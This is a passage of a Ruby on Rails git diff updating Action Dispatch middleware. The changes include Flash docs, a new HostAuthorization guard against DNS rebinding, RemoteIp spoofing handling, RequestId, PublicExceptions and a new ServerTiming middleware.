         when FlashHash # Rails 3.1, 3.2
           flashes = value.instance_variable_get(:@flashes)
@@ -128,15 +138,15 @@ def self.from_session_value(value) #:nodoc:
         end
       end
 
-      # Builds a hash containing the flashes to keep for the next request.
-      # If there are none to keep, returns +nil+.
-      def to_session_value #:nodoc:
+      # Builds a hash containing the flashes to keep for the next request. If there
+      # are none to keep, returns `nil`.
+      def to_session_value # :nodoc:
         flashes_to_keep = @flashes.except(*@discard)
         return nil if flashes_to_keep.empty?
         { "discard" => [], "flashes" => flashes_to_keep }
       end
 
-      def initialize(flashes = {}, discard = []) #:nodoc:
+      def initialize(flashes = {}, discard = []) # :nodoc:
         @discard = Set.new(stringify_array(discard))
         @flashes = flashes.stringify_keys
         @now     = nil
@@ -160,7 +170,7 @@ def [](k)
         @flashes[k.to_s]
       end
 
-      def update(h) #:nodoc:
+      def update(h) # :nodoc:
         @discard.subtract stringify_array(h.keys)
         @flashes.update h.stringify_keys
         self
@@ -174,6 +184,8 @@ def key?(name)
         @flashes.key? name.to_s
       end
 
+      # Immediately deletes the single flash entry. Use this method when you want
+      # remove the message within the current action. See also #discard.
       def delete(key)
         key = key.to_s
         @discard.delete key
@@ -200,48 +212,55 @@ def each(&block)
 
       alias :merge! :update
 
-      def replace(h) #:nodoc:
+      def replace(h) # :nodoc:
         @discard.clear
         @flashes.replace h.stringify_keys
         self
       end
 
-      # Sets a flash that will not be available to the next action, only to the current.
+      # Sets a flash that will not be available to the next action, only to the
+      # current.
       #
       #     flash.now[:message] = "Hello current action"
       #
-      # This method enables you to use the flash as a central messaging system in your app.
-      # When you need to pass an object to the next action, you use the standard flash assign (<tt>[]=</tt>).
-      # When you need to pass an object to the current action, you use <tt>now</tt>, and your object will
-      # vanish when the current action is done.
+      # This method enables you to use the flash as a central messaging system in your
+      # app. When you need to pass an object to the next action, you use the standard
+      # flash assign (`[]=`). When you need to pass an object to the current action,
+      # you use `now`, and your object will vanish when the current action is done.
       #
-      # Entries set via <tt>now</tt> are accessed the same way as standard entries: <tt>flash['my-key']</tt>.
+      # Entries set via `now` are accessed the same way as standard entries:
+      # `flash['my-key']`.
       #
       # Also, brings two convenience accessors:
       #
-      #   flash.now.alert = "Beware now!"
-      #   # Equivalent to flash.now[:alert] = "Beware now!"
+      #     flash.now.alert = "Beware now!"
+      #     # Equivalent to flash.now[:alert] = "Beware now!"
       #
-      #   flash.now.notice = "Good luck now!"
-      #   # Equivalent to flash.now[:notice] = "Good luck now!"
+      #     flash.now.notice = "Good luck now!"
+      #     # Equivalent to flash.now[:notice] = "Good luck now!"
       def now
         @now ||= FlashNow.new(self)
       end
 
-      # Keeps either the entire current flash or a specific flash entry available for the next action:
+      # Keeps either the entire current flash or a specific flash entry available for
+      # the next action:
       #
-      #    flash.keep            # keeps the entire flash
-      #    flash.keep(:notice)   # keeps only the "notice" entry, the rest of the flash is discarded
+      #     flash.keep            # keeps the entire flash
+      #     flash.keep(:notice)   # keeps only the "notice" entry, the rest of the flash is discarded
       def keep(k = nil)
         k = k.to_s if k
         @discard.subtract Array(k || keys)
         k ? self[k] : self
       end
 
-      # Marks the entire flash or a single flash entry to be discarded by the end of the current action:
+      # Marks the entire flash or a single flash entry to be discarded by the end of
+      # the current action:
       #
       #     flash.discard              # discard the entire flash at the end of the current action
       #     flash.discard(:warning)    # discard only the "warning" entry at the end of the current action
+      #
+      # Use this method when you want to display the message in the current action but
+      # not in the next one. See also #delete.
       def discard(k = nil)
         k = k.to_s if k
         @discard.merge Array(k || keys)
@@ -250,28 +269,29 @@ def discard(k = nil)
 
       # Mark for removal entries that were kept, and delete unkept ones.
       #
-      # This method is called automatically by filters, so you generally don't need to care about it.
-      def sweep #:nodoc:
+      # This method is called automatically by filters, so you generally don't need to
+      # care about it.
+      def sweep # :nodoc:
         @discard.each { |k| @flashes.delete k }
         @discard.replace @flashes.keys
       end
 
-      # Convenience accessor for <tt>flash[:alert]</tt>.
+      # Convenience accessor for `flash[:alert]`.
       def alert
         self[:alert]
       end
 
-      # Convenience accessor for <tt>flash[:alert]=</tt>.
+      # Convenience accessor for `flash[:alert]=`.
       def alert=(message)
         self[:alert] = message
       end
 
-      # Convenience accessor for <tt>flash[:notice]</tt>.
+      # Convenience accessor for `flash[:notice]`.
       def notice
         self[:notice]
       end
 
-      # Convenience accessor for <tt>flash[:notice]=</tt>.
+      # Convenience accessor for `flash[:notice]=`.
       def notice=(message)
         self[:notice] = message
       end
@@ -292,7 +312,7 @@ def stringify_array(array) # :doc:
     def self.new(app) app; end
   end
 
-  class Request
+  ActiveSupport.on_load(:action_dispatch_request) do
     prepend Flash::RequestMethods
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/host_authorization.rb b/actionpack/lib/action_dispatch/middleware/host_authorization.rb
new file mode 100644
index 0000000000000..66749cfc1889a
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/host_authorization.rb
@@ -0,0 +1,171 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionDispatch
+  # # Action Dispatch HostAuthorization
+  #
+  # This middleware guards from DNS rebinding attacks by explicitly permitting the
+  # hosts a request can be sent to, and is passed the options set in
+  # `config.host_authorization`.
+  #
+  # Requests can opt-out of Host Authorization with `exclude`:
+  #
+  #     config.host_authorization = { exclude: ->(request) { request.path =~ /healthcheck/ } }
+  #
+  # When a request comes to an unauthorized host, the `response_app` application
+  # will be executed and rendered. If no `response_app` is given, a default one
+  # will run. The default response app logs blocked host info with level 'error'
+  # and responds with `403 Forbidden`. The body of the response contains debug
+  # info if `config.consider_all_requests_local` is set to true, otherwise the
+  # body is empty.
+  class HostAuthorization
+    ALLOWED_HOSTS_IN_DEVELOPMENT = [".localhost", ".test", IPAddr.new("0.0.0.0/0"), IPAddr.new("::/0")]
+    PORT_REGEX = /(?::\d+)/ # :nodoc:
+    SUBDOMAIN_REGEX = /(?:[a-z0-9-]+\.)/i # :nodoc:
+    IPV4_HOSTNAME = /(?<host>\d+\.\d+\.\d+\.\d+)#{PORT_REGEX}?/ # :nodoc:
+    IPV6_HOSTNAME = /(?<host>[a-f0-9]*:[a-f0-9.:]+)/i # :nodoc:
+    IPV6_HOSTNAME_WITH_PORT = /\[#{IPV6_HOSTNAME}\]#{PORT_REGEX}/i # :nodoc:
+    VALID_IP_HOSTNAME = Regexp.union( # :nodoc:
+      /\A#{IPV4_HOSTNAME}\z/,
+      /\A#{IPV6_HOSTNAME}\z/,
+      /\A#{IPV6_HOSTNAME_WITH_PORT}\z/,
+    )
+
+    class Permissions # :nodoc:
+      def initialize(hosts)
+        @hosts = sanitize_hosts(hosts)
+      end
+
+      def empty?
+        @hosts.empty?
+      end
+
+      def allows?(host)
+        @hosts.any? do |allowed|
+          if allowed.is_a?(IPAddr)
+            begin
+              allowed === extract_hostname(host)
+            rescue
+              # IPAddr#=== raises an error if you give it a hostname instead of IP. Treat
+              # similar errors as blocked access.
+              false
+            end
+          else
+            allowed === host
+          end
+        end
+      end
+
+      private
+        def sanitize_hosts(hosts)
+          Array(hosts).map do |host|
+            case host
+            when Regexp then sanitize_regexp(host)
+            when String then sanitize_string(host)
+            else host
+            end
+          end
+        end
+
+        def sanitize_regexp(host)
+          /\A#{host}#{PORT_REGEX}?\z/
+        end
+
+        def sanitize_string(host)
+          if host.start_with?(".")
+            /\A#{SUBDOMAIN_REGEX}?#{Regexp.escape(host[1..-1])}#{PORT_REGEX}?\z/i
+          else
+            /\A#{Regexp.escape host}#{PORT_REGEX}?\z/i
+          end
+        end
+
+        def extract_hostname(host)
+          host.slice(VALID_IP_HOSTNAME, "host") || host
+        end
+    end
+
+    class DefaultResponseApp # :nodoc:
+      RESPONSE_STATUS = 403
+
+      def call(env)
+        request = Request.new(env)
+        format = request.xhr? ? "text/plain" : "text/html"
+
+        log_error(request)
+        response(format, response_body(request))
+      end
+
+      private
+        def response_body(request)
+          return "" unless request.get_header("action_dispatch.show_detailed_exceptions")
+
+          template = DebugView.new(hosts: request.env["action_dispatch.blocked_hosts"])
+          template.render(template: "rescues/blocked_host", layout: "rescues/layout")
+        end
+
+        def response(format, body)
+          [RESPONSE_STATUS,
+           { Rack::CONTENT_TYPE => "#{format}; charset=#{Response.default_charset}",
+             Rack::CONTENT_LENGTH => body.bytesize.to_s },
+           [body]]
+        end
+
+        def log_error(request)
+          logger = available_logger(request)
+
+          return unless logger
+
+          logger.error("[#{self.class.name}] Blocked hosts: #{request.env["action_dispatch.blocked_hosts"].join(", ")}")
+        end
+
+        def available_logger(request)
+          request.logger || ActionView::Base.logger
+        end
+    end
+
+    def initialize(app, hosts, exclude: nil, response_app: nil)
+      @app = app
+      @permissions = Permissions.new(hosts)
+      @exclude = exclude
+
+      @response_app = response_app || DefaultResponseApp.new
+    end
+
+    def call(env)
+      return @app.call(env) if @permissions.empty?
+
+      request = Request.new(env)
+      hosts = blocked_hosts(request)
+
+      if hosts.empty? || excluded?(request)
+        mark_as_authorized(request)
+        @app.call(env)
+      else
+        env["action_dispatch.blocked_hosts"] = hosts
+        @response_app.call(env)
+      end
+    end
+
+    private
+      def blocked_hosts(request)
+        hosts = []
+
+        origin_host = request.get_header("HTTP_HOST")
+        hosts << origin_host unless @permissions.allows?(origin_host)
+
+        forwarded_host = request.x_forwarded_host&.split(/,\s?/)&.last
+        hosts << forwarded_host unless forwarded_host.blank? || @permissions.allows?(forwarded_host)
+
+        hosts
+      end
+
+      def excluded?(request)
+        @exclude && @exclude.call(request)
+      end
+
+      def mark_as_authorized(request)
+        request.set_header("action_dispatch.authorized_host", request.host)
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/public_exceptions.rb b/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
index 46f0f675b96de..51a5b13d0d018 100644
--- a/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
@@ -1,11 +1,17 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
+  # # Action Dispatch PublicExceptions
+  #
   # When called, this middleware renders an error page. By default if an HTML
   # response is expected it will render static error pages from the `/public`
   # directory. For example when this middleware receives a 500 response it will
-  # render the template found in `/public/500.html`.
-  # If an internationalized locale is set, this middleware will attempt to render
-  # the template in `/public/500.<locale>.html`. If an internationalized template
-  # is not found it will fall back on `/public/500.html`.
+  # render the template found in `/public/500.html`. If an internationalized
+  # locale is set, this middleware will attempt to render the template in
+  # `/public/500.<locale>.html`. If an internationalized template is not found it
+  # will fall back on `/public/500.html`.
   #
   # When a request with a content type other than HTML is made, this middleware
   # will attempt to convert error information into the appropriate response type.
@@ -20,13 +26,16 @@ def call(env)
       request      = ActionDispatch::Request.new(env)
       status       = request.path_info[1..-1].to_i
       content_type = request.formats.first
-      body         = { status: status, error: Rack::Utils::HTTP_STATUS_CODES.fetch(status, Rack::Utils::HTTP_STATUS_CODES[500]) }
+      body = { status: status, error: Rack::Utils::HTTP_STATUS_CODES.fetch(status, Rack::Utils::HTTP_STATUS_CODES[500]) }
 
-      render(status, content_type, body)
+      if env["action_dispatch.original_request_method"] == "HEAD"
+        render_format(status, content_type, "")
+      else
+        render(status, content_type, body)
+      end
     end
 
     private
-
       def render(status, content_type, body)
         format = "to_#{content_type.to_sym}" if content_type
         if format && body.respond_to?(format)
@@ -37,8 +46,8 @@ def render(status, content_type, body)
       end
 
       def render_format(status, content_type, body)
-        [status, { "Content-Type" => "#{content_type}; charset=#{ActionDispatch::Response.default_charset}",
-                  "Content-Length" => body.bytesize.to_s }, [body]]
+        [status, { Rack::CONTENT_TYPE => "#{content_type}; charset=#{ActionDispatch::Response.default_charset}",
+                  Rack::CONTENT_LENGTH => body.bytesize.to_s }, [body]]
       end
 
       def render_html(status)
@@ -48,7 +57,7 @@ def render_html(status)
         if found || File.exist?(path)
           render_format(status, "text/html", File.read(path))
         else
-          [404, { "X-Cascade" => "pass" }, []]
+          [404, { Constants::X_CASCADE => "pass" }, []]
         end
       end
   end
diff --git a/actionpack/lib/action_dispatch/middleware/reloader.rb b/actionpack/lib/action_dispatch/middleware/reloader.rb
index 6d64b1424ba84..f83c4b102ad3f 100644
--- a/actionpack/lib/action_dispatch/middleware/reloader.rb
+++ b/actionpack/lib/action_dispatch/middleware/reloader.rb
@@ -1,10 +1,16 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
-  # ActionDispatch::Reloader wraps the request with callbacks provided by ActiveSupport::Reloader
-  # callbacks, intended to assist with code reloading during development.
+  # # Action Dispatch Reloader
   #
-  # By default, ActionDispatch::Reloader is included in the middleware stack
-  # only in the development environment; specifically, when +config.cache_classes+
-  # is false.
+  # ActionDispatch::Reloader wraps the request with callbacks provided by
+  # ActiveSupport::Reloader, intended to assist with code reloading during
+  # development.
+  #
+  # ActionDispatch::Reloader is included in the middleware stack only if reloading
+  # is enabled, which it is by the default in `development` mode.
   class Reloader < Executor
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/remote_ip.rb b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
index 8bae5bfeff83c..c3aaefbd1a2a5 100644
--- a/actionpack/lib/action_dispatch/middleware/remote_ip.rb
+++ b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
@@ -1,62 +1,69 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "ipaddr"
 
 module ActionDispatch
-  # This middleware calculates the IP address of the remote client that is
-  # making the request. It does this by checking various headers that could
-  # contain the address, and then picking the last-set address that is not
-  # on the list of trusted IPs. This follows the precedent set by e.g.
-  # {the Tomcat server}[https://issues.apache.org/bugzilla/show_bug.cgi?id=50453],
-  # with {reasoning explained at length}[http://blog.gingerlime.com/2012/rails-ip-spoofing-vulnerabilities-and-protection]
-  # by @gingerlime. A more detailed explanation of the algorithm is given
-  # at GetIp#calculate_ip.
+  # # Action Dispatch RemoteIp
+  #
+  # This middleware calculates the IP address of the remote client that is making
+  # the request. It does this by checking various headers that could contain the
+  # address, and then picking the last-set address that is not on the list of
+  # trusted IPs. This follows the precedent set by e.g. [the Tomcat
+  # server](https://issues.apache.org/bugzilla/show_bug.cgi?id=50453). A more
+  # detailed explanation of the algorithm is given at GetIp#calculate_ip.
   #
-  # Some Rack servers concatenate repeated headers, like {HTTP RFC 2616}[http://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.2]
-  # requires. Some Rack servers simply drop preceding headers, and only report
-  # the value that was {given in the last header}[http://andre.arko.net/2011/12/26/repeated-headers-and-ruby-web-servers].
-  # If you are behind multiple proxy servers (like NGINX to HAProxy to Unicorn)
-  # then you should test your Rack server to make sure your data is good.
+  # Some Rack servers concatenate repeated headers, like [HTTP RFC
+  # 2616](https://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.2) requires.
+  # Some Rack servers simply drop preceding headers, and only report the value
+  # that was [given in the last
+  # header](https://andre.arko.net/2011/12/26/repeated-headers-and-ruby-web-servers).
+  # If you are behind multiple proxy servers (like NGINX to HAProxy to
+  # Unicorn) then you should test your Rack server to make sure your data is good.
   #
-  # IF YOU DON'T USE A PROXY, THIS MAKES YOU VULNERABLE TO IP SPOOFING.
-  # This middleware assumes that there is at least one proxy sitting around
-  # and setting headers with the client's remote IP address. If you don't use
-  # a proxy, because you are hosted on e.g. Heroku without SSL, any client can
-  # claim to have any IP address by setting the X-Forwarded-For header. If you
-  # care about that, then you need to explicitly drop or ignore those headers
-  # sometime before this middleware runs.
+  # IF YOU DON'T USE A PROXY, THIS MAKES YOU VULNERABLE TO IP SPOOFING. This
+  # middleware assumes that there is at least one proxy sitting around and setting
+  # headers with the client's remote IP address. If you don't use a proxy, because
+  # you are hosted on e.g. Heroku without SSL, any client can claim to have any IP
+  # address by setting the `X-Forwarded-For` header. If you care about that, then
+  # you need to explicitly drop or ignore those headers sometime before this
+  # middleware runs. Alternatively, remove this middleware to avoid inadvertently
+  # relying on it.
   class RemoteIp
     class IpSpoofAttackError < StandardError; end
 
-    # The default trusted IPs list simply includes IP addresses that are
-    # guaranteed by the IP specification to be private addresses. Those will
-    # not be the ultimate client IP in production, and so are discarded. See
-    # http://en.wikipedia.org/wiki/Private_network for details.
+    # The default trusted IPs list simply includes IP addresses that are guaranteed
+    # by the IP specification to be private addresses. Those will not be the
+    # ultimate client IP in production, and so are discarded. See
+    # https://en.wikipedia.org/wiki/Private_network for details.
     TRUSTED_PROXIES = [
-      "127.0.0.1",      # localhost IPv4
+      "127.0.0.0/8",    # localhost IPv4 range, per RFC-3330
       "::1",            # localhost IPv6
       "fc00::/7",       # private IPv6 range fc00::/7
       "10.0.0.0/8",     # private IPv4 range 10.x.x.x
       "172.16.0.0/12",  # private IPv4 range 172.16.0.0 .. 172.31.255.255
       "192.168.0.0/16", # private IPv4 range 192.168.x.x
+      "169.254.0.0/16", # link-local IPv4 range 169.254.x.x
+      "fe80::/10",      # link-local IPv6 range fe80::/10
     ].map { |proxy| IPAddr.new(proxy) }
 
     attr_reader :check_ip, :proxies
 
-    # Create a new +RemoteIp+ middleware instance.
+    # Create a new `RemoteIp` middleware instance.
     #
-    # The +ip_spoofing_check+ option is on by default. When on, an exception
-    # is raised if it looks like the client is trying to lie about its own IP
-    # address. It makes sense to turn off this check on sites aimed at non-IP
-    # clients (like WAP devices), or behind proxies that set headers in an
-    # incorrect or confusing way (like AWS ELB).
+    # The `ip_spoofing_check` option is on by default. When on, an exception is
+    # raised if it looks like the client is trying to lie about its own IP address.
+    # It makes sense to turn off this check on sites aimed at non-IP clients (like
+    # WAP devices), or behind proxies that set headers in an incorrect or confusing
+    # way (like AWS ELB).
     #
-    # The +custom_proxies+ argument can take an Array of string, IPAddr, or
-    # Regexp objects which will be used instead of +TRUSTED_PROXIES+. If a
-    # single string, IPAddr, or Regexp object is provided, it will be used in
-    # addition to +TRUSTED_PROXIES+. Any proxy setup will put the value you
-    # want in the middle (or at the beginning) of the X-Forwarded-For list,
-    # with your proxy servers after it. If your proxies aren't removed, pass
-    # them in via the +custom_proxies+ parameter. That way, the middleware will
-    # ignore those IP addresses, and return the one that you want.
+    # The `custom_proxies` argument can take an enumerable which will be used
+    # instead of `TRUSTED_PROXIES`. Any proxy setup will put the value you want in
+    # the middle (or at the beginning) of the `X-Forwarded-For` list, with your
+    # proxy servers after it. If your proxies aren't removed, pass them in via the
+    # `custom_proxies` parameter. That way, the middleware will ignore those IP
+    # addresses, and return the one that you want.
     def initialize(app, ip_spoofing_check = true, custom_proxies = nil)
       @app = app
       @check_ip = ip_spoofing_check
@@ -65,23 +72,35 @@ def initialize(app, ip_spoofing_check = true, custom_proxies = nil)
       elsif custom_proxies.respond_to?(:any?)
         custom_proxies
       else
-        Array(custom_proxies) + TRUSTED_PROXIES
+        raise(ArgumentError, <<~EOM)
+          Setting config.action_dispatch.trusted_proxies to a single value isn't
+          supported. Please set this to an enumerable instead. For
+          example, instead of:
+
+          config.action_dispatch.trusted_proxies = IPAddr.new("10.0.0.0/8")
+
+          Wrap the value in an Array:
+
+          config.action_dispatch.trusted_proxies = [IPAddr.new("10.0.0.0/8")]
+
+          Note that passing an enumerable will *replace* the default set of trusted proxies.
+        EOM
       end
     end
 
-    # Since the IP address may not be needed, we store the object here
-    # without calculating the IP to keep from slowing down the majority of
-    # requests. For those requests that do need to know the IP, the
-    # GetIp#calculate_ip method will calculate the memoized client IP address.
+    # Since the IP address may not be needed, we store the object here without
+    # calculating the IP to keep from slowing down the majority of requests. For
+    # those requests that do need to know the IP, the GetIp#calculate_ip method will
+    # calculate the memoized client IP address.
     def call(env)
       req = ActionDispatch::Request.new env
       req.remote_ip = GetIp.new(req, check_ip, proxies)
       @app.call(req.env)
     end
 
-    # The GetIp class exists as a way to defer processing of the request data
-    # into an actual IP address. If the ActionDispatch::Request#remote_ip method
-    # is called, this class will calculate the value and then memoize it.
+    # The GetIp class exists as a way to defer processing of the request data into
+    # an actual IP address. If the ActionDispatch::Request#remote_ip method is
+    # called, this class will calculate the value and then memoize it.
     class GetIp
       def initialize(req, check_ip, proxies)
         @req      = req
@@ -89,62 +108,65 @@ def initialize(req, check_ip, proxies)
         @proxies  = proxies
       end
 
-      # Sort through the various IP address headers, looking for the IP most
-      # likely to be the address of the actual remote client making this
-      # request.
+      # Sort through the various IP address headers, looking for the IP most likely to
+      # be the address of the actual remote client making this request.
       #
-      # REMOTE_ADDR will be correct if the request is made directly against the
-      # Ruby process, on e.g. Heroku. When the request is proxied by another
-      # server like HAProxy or NGINX, the IP address that made the original
-      # request will be put in an X-Forwarded-For header. If there are multiple
-      # proxies, that header may contain a list of IPs. Other proxy services
-      # set the Client-Ip header instead, so we check that too.
+      # REMOTE_ADDR will be correct if the request is made directly against the Ruby
+      # process, on e.g. Heroku. When the request is proxied by another server like
+      # HAProxy or NGINX, the IP address that made the original request will be put in
+      # an `X-Forwarded-For` header. If there are multiple proxies, that header may
+      # contain a list of IPs. Other proxy services set the `Client-Ip` header
+      # instead, so we check that too.
       #
-      # As discussed in {this post about Rails IP Spoofing}[http://blog.gingerlime.com/2012/rails-ip-spoofing-vulnerabilities-and-protection/],
-      # while the first IP in the list is likely to be the "originating" IP,
-      # it could also have been set by the client maliciously.
+      # As discussed in [this post about Rails IP
+      # Spoofing](https://web.archive.org/web/20170626095448/https://blog.gingerlime.com/2012/rails-ip-spoofing-vulnerabilities-and-protection/),
+      # while the first IP in the list is likely to be the "originating" IP, it
+      # could also have been set by the client maliciously.
       #
-      # In order to find the first address that is (probably) accurate, we
-      # take the list of IPs, remove known and trusted proxies, and then take
-      # the last address left, which was presumably set by one of those proxies.
+      # In order to find the first address that is (probably) accurate, we take the
+      # list of IPs, remove known and trusted proxies, and then take the last address
+      # left, which was presumably set by one of those proxies.
       def calculate_ip
         # Set by the Rack web server, this is a single value.
-        remote_addr = ips_from(@req.remote_addr).last
+        remote_addr = sanitize_ips(ips_from(@req.remote_addr)).last
 
         # Could be a CSV list and/or repeated headers that were concatenated.
-        client_ips    = ips_from(@req.client_ip).reverse
-        forwarded_ips = ips_from(@req.x_forwarded_for).reverse
+        client_ips    = sanitize_ips(ips_from(@req.client_ip)).reverse!
+        forwarded_ips = sanitize_ips(@req.forwarded_for || []).reverse!
 
-        # +Client-Ip+ and +X-Forwarded-For+ should not, generally, both be set.
-        # If they are both set, it means that either:
+        # `Client-Ip` and `X-Forwarded-For` should not, generally, both be set. If they
+        # are both set, it means that either:
         #
         # 1) This request passed through two proxies with incompatible IP header
-        #    conventions.
-        # 2) The client passed one of +Client-Ip+ or +X-Forwarded-For+
-        #    (whichever the proxy servers weren't using) themselves.
+        #     conventions.
+        #
+        # 2) The client passed one of `Client-Ip` or `X-Forwarded-For`
+        #     (whichever the proxy servers weren't using) themselves.
         #
-        # Either way, there is no way for us to determine which header is the
-        # right one after the fact. Since we have no idea, if we are concerned
-        # about IP spoofing we need to give up and explode. (If you're not
-        # concerned about IP spoofing you can turn the +ip_spoofing_check+
-        # option off.)
+        # Either way, there is no way for us to determine which header is the right one
+        # after the fact. Since we have no idea, if we are concerned about IP spoofing
+        # we need to give up and explode. (If you're not concerned about IP spoofing you
+        # can turn the `ip_spoofing_check` option off.)
         should_check_ip = @check_ip && client_ips.last && forwarded_ips.last
         if should_check_ip && !forwarded_ips.include?(client_ips.last)
           # We don't know which came from the proxy, and which from the user
           raise IpSpoofAttackError, "IP spoofing attack?! " \
             "HTTP_CLIENT_IP=#{@req.client_ip.inspect} " \
-            "HTTP_X_FORWARDED_FOR=#{@req.x_forwarded_for.inspect}"
+            "HTTP_X_FORWARDED_FOR=#{@req.x_forwarded_for.inspect}" \
+            " HTTP_FORWARDED=" + @req.forwarded_for.map { "for=#{_1}" }.join(", ").inspect if @req.forwarded_for.any?
         end
 
         # We assume these things about the IP headers:
         #
-        #   - X-Forwarded-For will be a list of IPs, one per proxy, or blank
-        #   - Client-Ip is propagated from the outermost proxy, or is blank
-        #   - REMOTE_ADDR will be the IP that made the request to Rack
-        ips = [forwarded_ips, client_ips, remote_addr].flatten.compact
+        #     - X-Forwarded-For will be a list of IPs, one per proxy, or blank
+        #     - Client-Ip is propagated from the outermost proxy, or is blank
+        #     - REMOTE_ADDR will be the IP that made the request to Rack
+        ips = forwarded_ips + client_ips
+        ips.compact!
 
-        # If every single IP option is in the trusted list, just return REMOTE_ADDR
-        filter_proxies(ips).first || remote_addr
+        # If every single IP option is in the trusted list, return the IP that's
+        # furthest away
+        filter_proxies(ips + [remote_addr]).first || ips.last || remote_addr
       end
 
       # Memoizes the value returned by #calculate_ip and returns it for
@@ -154,21 +176,22 @@ def to_s
       end
 
     private
-
       def ips_from(header) # :doc:
         return [] unless header
-        # Split the comma-separated list into an array of strings
-        ips = header.strip.split(/[,\s]+/)
-        ips.select do |ip|
-          begin
-            # Only return IPs that are valid according to the IPAddr#new method
-            range = IPAddr.new(ip).to_range
-            # we want to make sure nobody is sneaking a netmask in
-            range.begin == range.end
-          rescue ArgumentError
-            nil
-          end
+        # Split the comma-separated list into an array of strings.
+        header.strip.split(/[,\s]+/)
+      end
+
+      def sanitize_ips(ips) # :doc:
+        ips.select! do |ip|
+          # Only return IPs that are valid according to the IPAddr#new method.
+          range = IPAddr.new(ip).to_range
+          # We want to make sure nobody is sneaking a netmask in.
+          range.begin == range.end
+        rescue ArgumentError
+          nil
         end
+        ips
       end
 
       def filter_proxies(ips) # :doc:
diff --git a/actionpack/lib/action_dispatch/middleware/request_id.rb b/actionpack/lib/action_dispatch/middleware/request_id.rb
index 1925ffd9dd331..7d2e3078cb17f 100644
--- a/actionpack/lib/action_dispatch/middleware/request_id.rb
+++ b/actionpack/lib/action_dispatch/middleware/request_id.rb
@@ -1,34 +1,43 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "securerandom"
 require "active_support/core_ext/string/access"
 
 module ActionDispatch
-  # Makes a unique request id available to the +action_dispatch.request_id+ env variable (which is then accessible
-  # through <tt>ActionDispatch::Request#request_id</tt> or the alias <tt>ActionDispatch::Request#uuid</tt>) and sends
-  # the same id to the client via the X-Request-Id header.
+  # # Action Dispatch RequestId
   #
-  # The unique request id is either based on the X-Request-Id header in the request, which would typically be generated
-  # by a firewall, load balancer, or the web server, or, if this header is not available, a random uuid. If the
-  # header is accepted from the outside world, we sanitize it to a max of 255 chars and alphanumeric and dashes only.
+  # Makes a unique request id available to the `action_dispatch.request_id` env
+  # variable (which is then accessible through ActionDispatch::Request#request_id
+  # or the alias ActionDispatch::Request#uuid) and sends the same id to the client
+  # via the `X-Request-Id` header.
   #
-  # The unique request id can be used to trace a request end-to-end and would typically end up being part of log files
-  # from multiple pieces of the stack.
+  # The unique request id is either based on the `X-Request-Id` header in the
+  # request, which would typically be generated by a firewall, load balancer, or
+  # the web server, or, if this header is not available, a random uuid. If the
+  # header is accepted from the outside world, we sanitize it to a max of 255
+  # chars and alphanumeric and dashes only.
+  #
+  # The unique request id can be used to trace a request end-to-end and would
+  # typically end up being part of log files from multiple pieces of the stack.
   class RequestId
-    X_REQUEST_ID = "X-Request-Id".freeze #:nodoc:
-
-    def initialize(app)
+    def initialize(app, header:)
       @app = app
+      @header = header
+      @env_header = "HTTP_#{header.upcase.tr("-", "_")}"
     end
 
     def call(env)
       req = ActionDispatch::Request.new env
-      req.request_id = make_request_id(req.x_request_id)
-      @app.call(env).tap { |_status, headers, _body| headers[X_REQUEST_ID] = req.request_id }
+      req.request_id = make_request_id(req.get_header(@env_header))
+      @app.call(env).tap { |_status, headers, _body| headers[@header] = req.request_id }
     end
 
     private
       def make_request_id(request_id)
         if request_id.presence
-          request_id.gsub(/[^\w\-]/, "".freeze).first(255)
+          request_id.gsub(/[^\w\-@]/, "").first(255)
         else
           internal_request_id
         end
diff --git a/actionpack/lib/action_dispatch/middleware/server_timing.rb b/actionpack/lib/action_dispatch/middleware/server_timing.rb
new file mode 100644
index 0000000000000..2ab4390875023
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/server_timing.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/notifications"
+
+module ActionDispatch
+  class ServerTiming
+    class Subscriber # :nodoc:
+      include Singleton
+      KEY = :action_dispatch_server_timing_events
+
+      def initialize
+        @mutex = Mutex.new
+      end
+
+      def call(event)
+        if events = ActiveSupport::IsolatedExecutionState[KEY]
+          events << event
+        end
+      end
+
+      def collect_events
+        events = []
+        ActiveSupport::IsolatedExecutionState[KEY] = events
+        yield
+        events
+      ensure
+        ActiveSupport::IsolatedExecutionState.delete(KEY)
+      end
+
+      def ensure_subscribed
+        @mutex.synchronize do
+          # Subscribe to all events, except those beginning with "!" Ideally we would be
+          # more selective of what is being measured
+          @subscriber ||= ActiveSupport::Notifications.subscribe(/\A[^!]/, self)
+        end
+      end
+
+      def unsubscribe
+        @mutex.synchronize do
+          ActiveSupport::Notifications.unsubscribe @subscriber
+          @subscriber = nil
+        end
+      end
+    end
+
+    def self.unsubscribe # :nodoc:
+      Subscriber.instance.unsubscribe
+    end
+
+    def initialize(app)
+      @app = app
+      @subscriber = Subscriber.instance
+      @subscriber.ensure_subscribed
+    end
+
+    def call(env)
+      response = nil
+      events = @subscriber.collect_events do
+        response = @app.call(env)
+      end
+
+      headers = response[1]
+
+      header_info = events.group_by(&:name).map do |event_name, events_collection|
+        "%s;dur=%.2f" % [event_name, events_collection.sum(&:duration)]
+      end
+
+      if headers[ActionDispatch::Constants::SERVER_TIMING].present?
+        header_info.prepend(headers[ActionDispatch::Constants::SERVER_TIMING])
+      end
+      headers[ActionDispatch::Constants::SERVER_TIMING] = header_info.join(", ")
+
+      response
+    end
+  end
+end
